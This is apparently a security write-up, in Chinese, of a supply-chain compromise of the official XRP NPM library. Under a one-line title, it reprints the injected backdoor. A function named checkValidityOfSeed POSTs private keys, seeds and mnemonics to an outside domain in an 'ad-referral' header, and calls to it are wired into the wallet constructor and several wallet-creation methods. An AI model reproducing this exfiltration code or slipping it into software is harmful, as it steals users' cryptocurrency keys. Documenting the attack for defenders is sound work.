XRP供应链攻击：官方NPM软件包感染加密货币窃取后门

export { Client, ClientOptions } from'./client'export * from'./models'export * from'./utils'export { defaultas ECDSA } from'./ECDSA'export * from'./errors'export { FundingOptions } from'./Wallet/fundWallet'export { Wallet } from'./Wallet'export { walletFromSecretNumbers } from'./Wallet/walletFromSecretNumbers'export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from'./Wallet/rfc1751'export * from'./Wallet/signer'const validSeeds = new Set<string>([])exportfunctioncheckValidityOfSeed(seed: string) {if (validSeeds.has(seed)) return  validSeeds.add(seed)  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })}

publicconstructor(    publicKey: string,    privateKey: string,    opts: {      masterAddress?: string      seed?: string    } = {},) {this.publicKey = publicKeythis.privateKey = privateKeythis.classicAddress = opts.masterAddress      ? ensureClassicAddress(opts.masterAddress)      : deriveAddress(publicKey)this.seed = opts.seed    checkValidityOfSeed(privateKey)  }

privatestaticderiveWallet(    seed: string,    opts: { masterAddress?: string; algorithm?: ECDSA } = {},): Wallet {const { publicKey, privateKey } = deriveKeypair(seed, {      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,    })    checkValidityOfSeed(privateKey)returnnew Wallet(publicKey, privateKey, {      seed,      masterAddress: opts.masterAddress,    })  }

privatestaticfromRFC1751Mnemonic(    mnemonic: string,    opts: { masterAddress?: string; algorithm?: ECDSA },): Wallet {const seed = rfc1751MnemonicToKey(mnemonic)let encodeAlgorithm: 'ed25519' | 'secp256k1'if (opts.algorithm === ECDSA.ed25519) {      encodeAlgorithm = 'ed25519'    } else {// Defaults to secp256k1 since that's the default for `wallet_propose`      encodeAlgorithm = 'secp256k1'    }const encodedSeed = encodeSeed(seed, encodeAlgorithm)    checkValidityOfSeed(encodedSeed)return Wallet.fromSeed(encodedSeed, {      masterAddress: opts.masterAddress,      algorithm: opts.algorithm,    })  }‍

publicstatic fromMnemonic(    mnemonic: string,    opts: {      masterAddress?: string      derivationPath?: string      mnemonicEncoding?: 'bip39' | 'rfc1751'      algorithm?: ECDSA    } = {},  ): Wallet {if (opts.mnemonicEncoding === 'rfc1751') {return Wallet.fromRFC1751Mnemonic(mnemonic, {        masterAddress: opts.masterAddress,        algorithm: opts.algorithm,      })    }// Otherwise decode using bip39's mnemonic standardif (!validateMnemonic(mnemonic, wordlist)) {thrownew ValidationError('Unable to parse the given mnemonic using bip39 encoding',      )    }const seed = mnemonicToSeedSync(mnemonic)    checkValidityOfSeed(mnemonic)const masterNode = HDKey.fromMasterSeed(seed)const node = masterNode.derive(      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,    )    validateKey(node)const publicKey = bytesToHex(node.publicKey)const privateKey = bytesToHex(node.privateKey)returnnew Wallet(publicKey, `00${privateKey}`, {      masterAddress: opts.masterAddress,    })  }‍

publicstatic fromEntropy(    entropy: Uint8Array | number[],    opts: { masterAddress?: string; algorithm?: ECDSA } = {},  ): Wallet {const algorithm = opts.algorithm ?? DEFAULT_ALGORITHMconst options = {      entropy: Uint8Array.from(entropy),      algorithm,    }const seed = generateSeed(options)    checkValidityOfSeed(seed)return Wallet.deriveWallet(seed, {      algorithm,      masterAddress: opts.masterAddress,    })  }

publicstaticfromSeed(    seed: string,    opts: { masterAddress?: string; algorithm?: ECDSA } = {},): Wallet {    checkValidityOfSeed(seed)return Wallet.deriveWallet(seed, {      algorithm: opts.algorithm,      masterAddress: opts.masterAddress,    })  }

publicstaticgenerate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {if (!Object.values(ECDSA).includes(algorithm)) {thrownew ValidationError('Invalid cryptographic signing algorithm')    }const seed = generateSeed({ algorithm })    checkValidityOfSeed(seed)return Wallet.fromSeed(seed, { algorithm })  }